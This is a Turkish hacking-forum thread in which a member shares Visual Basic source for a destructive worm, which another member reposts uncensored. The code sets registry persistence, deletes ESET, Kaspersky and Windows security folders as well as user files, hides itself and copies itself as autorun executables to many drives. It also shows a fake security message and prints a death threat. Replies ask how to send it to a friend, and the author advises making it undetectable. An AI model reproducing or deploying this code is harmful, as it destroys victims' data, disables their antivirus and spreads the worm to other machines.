İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

<kendi solucanını yap vb+kod>

10-02-2016 19:32
#1
mehmetcemkaraca - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2015
Nereden:
30 km kuzey
Mesajlar:
537
Teşekkür (Etti):
22
Teşekkür (Aldı):
74
Konular:
111
ARKADAŞLAR KODLAR NORMAL BASİT KODLARDIR CRYBER WARIROR DAKI ARKADAŞIMLA YAZMIŞTIK ORDA PAYLAŞTIK ŞİMDİ SİZİNLE PAYLAŞIYORUM




Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\ \CURRENTVERSION\\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Kill "C:\\Program Files\\ESET"
Kill ("C:\\Program Files\\ESET")
Kill "C:\\Program Files\\Kaspersky\\*.*"
Kill "C:\\WINDOWS\\security\\*.*"
Kill "H:\\*.*"
Kill "C:\\********s and Settings\\All Users\\Desktop\\*.*"
Kill ("C:\\Program files\\Eset\\*.*")
App.TaskVisible = False
Visible = False
Me.Hide
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system32\\twainss.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system\\clipboards.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "D:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "F:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "H:\\root.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "A:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\program data.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "B:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "E:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "I:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "K:\\system.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "F:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\********s and Settings\\All Users\\Desktop\\system.exe", "I:\\system.exe"
On Error Resume Next
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub

10-02-2016 19:33
#2
MRDreAmsTR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2015
Nereden:
Türkiye
Mesajlar:
2.480
Teşekkür (Etti):
295
Teşekkür (Aldı):
283
Konular:
158
Nasıl Kullancaz Bilgi Verirmsn ?
Progrmaı Açtıgmız An Aktif Mi Olcak?
10-02-2016 19:34
#3
mehmetcemkaraca - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2015
Nereden:
30 km kuzey
Mesajlar:
537
Teşekkür (Etti):
22
Teşekkür (Aldı):
74
Konular:
111
Program acıldığında kendini kopyalıyor ve eset nod32 siliyir fudlarsanız işe yarar
10-02-2016 19:35
#4
Whoareyou - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2016
Mesajlar:
472
Teşekkür (Etti):
102
Teşekkür (Aldı):
53
Konular:
132
kardeşim bu solucan ne işe yarıyor yenyimde
Kullanıcı İmzası
Hz. Peygamber’den rivayet edildiğine göre; aziz ve celil olan Allah buyurur ki, benim bir ordum vardır, adını Türk koydum ve onları doğu ülkelerine yerleştirdim. Herhangi bir kavme öfkelendiğim zaman Türkleri onların başına musallat ederim.”
10-02-2016 19:36
#5
mehmetcemkaraca - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2015
Nereden:
30 km kuzey
Mesajlar:
537
Teşekkür (Etti):
22
Teşekkür (Aldı):
74
Konular:
111
Alıntı:
Whoareyou´isimli üyeden Alıntı Mesajı göster
kardeşim bu solucan ne işe yarıyor yenyimde
bilgisayarı kullanılamaz hale getirir
http://www.turkhackteam.org/images/s.../RpS_sleep.gif
10-02-2016 19:37
#6
Whoareyou - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2016
Mesajlar:
472
Teşekkür (Etti):
102
Teşekkür (Aldı):
53
Konular:
132
bunu arkadaşımızamı atacaz metin belgesine nasıl kaydetcez açıklarsan sevinirim
Kullanıcı İmzası
Hz. Peygamber’den rivayet edildiğine göre; aziz ve celil olan Allah buyurur ki, benim bir ordum vardır, adını Türk koydum ve onları doğu ülkelerine yerleştirdim. Herhangi bir kavme öfkelendiğim zaman Türkleri onların başına musallat ederim.”
10-02-2016 19:37
#7
tgrl5000 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
05/2013
Nereden:
False Vacuum
Mesajlar:
1.243
Teşekkür (Etti):
1021
Teşekkür (Aldı):
463
Konular:
111
Kardeşim boşverin bu tür solucanları elin adamı gerçek solucanı sanal ortama aktarmaya çalışıyor.Onları inceleyin
https://github.com/openworm/OpenWorm
10-02-2016 19:38
#8
Üyelik tarihi:
06/2015
Nereden:
cehennem
Mesajlar:
2.377
Teşekkür (Etti):
277
Teşekkür (Aldı):
1189
Konular:
292
reklam yapma
kodların sansurlenmemıs halı (kendım edıtledım)
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WIND OWS\ \CURRENTVERSION\\RUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
On Error Resume Next
Kill "C:\\Program Files\\ESET"
Kill ("C:\\Program Files\\ESET")
Kill "C:\\Program Files\\Kaspersky\\*.*"
Kill "C:\\WINDOWS\\security\\*.*"
Kill "H:\\*.*"
Kill "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\*.*"
Kill ("C:\\Program files\\Eset\\*.*")
App.TaskVisible = False
Visible = False
Me.Hide
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system32\\twainss.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system\\clipboards.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "D:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "F:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "H:\\root.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "A:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\program data.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "B:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "E:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "I:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "K:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\system.exe", "F:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\system.exe", "I:\\system.exe"
On Error Resume Next
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub
Kullanıcı İmzası

♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛
x1x1pezo1x1x - takisik - blackwomen
♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛
Atesi siz istediniz,Bizde Cehennem olup geldik
♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛♛
Hyd Teşekkür etti.
10-02-2016 19:39
#9
mehmetcemkaraca - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2015
Nereden:
30 km kuzey
Mesajlar:
537
Teşekkür (Etti):
22
Teşekkür (Aldı):
74
Konular:
111
Alıntı:
x1x1pezo1x1x´isimli üyeden Alıntı Mesajı göster
reklam yapma
kodların sansurlenmemıs halı (kendım edıtledım)
Private Sub Form_Load()
On Error Resume Next
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WIND OWS\ \CURRENTVERSION\\RUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
On Error Resume Next
Kill "C:\\Program Files\\ESET"
Kill ("C:\\Program Files\\ESET")
Kill "C:\\Program Files\\Kaspersky\\*.*"
Kill "C:\\WINDOWS\\security\\*.*"
Kill "H:\\*.*"
Kill "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\*.*"
Kill ("C:\\Program files\\Eset\\*.*")
App.TaskVisible = False
Visible = False
Me.Hide
on error resume next
CdRom.cdromCollection.Item(0).eject
CdRom.cdromCollection.Item(1).eject
Shell App.Path + "/" + App.EXEName + ".exe"
On Error Resume Next
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system32\\twainss.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\WINDOWS\\system\\clipboards.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "D:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "F:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "H:\\root.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "A:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "C:\\program data.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "B:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "E:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "I:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Start Menu\\Programlar\\Başlangıç\\system.exe", "K:\\system.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\system.exe", "F:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\system.exe", "G:\\autorun.exe"
FileCopy "C:\\d o c u m e n ts and Settings\\All Users\\Desktop\\system.exe", "I:\\system.exe"
On Error Resume Next
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
Shell ("C:\\Program Files\\Internet Explorer\\iexplore.exe http://www.resimarsiv.com/data/media/484/azrail-7.jpg"),vbNormalFocus
MsgBox "Secruty Center Active"
Printer.Print "Ben Azrail...Bu gece seninde bu hayattaki süren dolmuş olacak.Öleceksin..."
On Error Resume Next
End Sub
reklam yapmıyorum kod paylaşıyorum

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı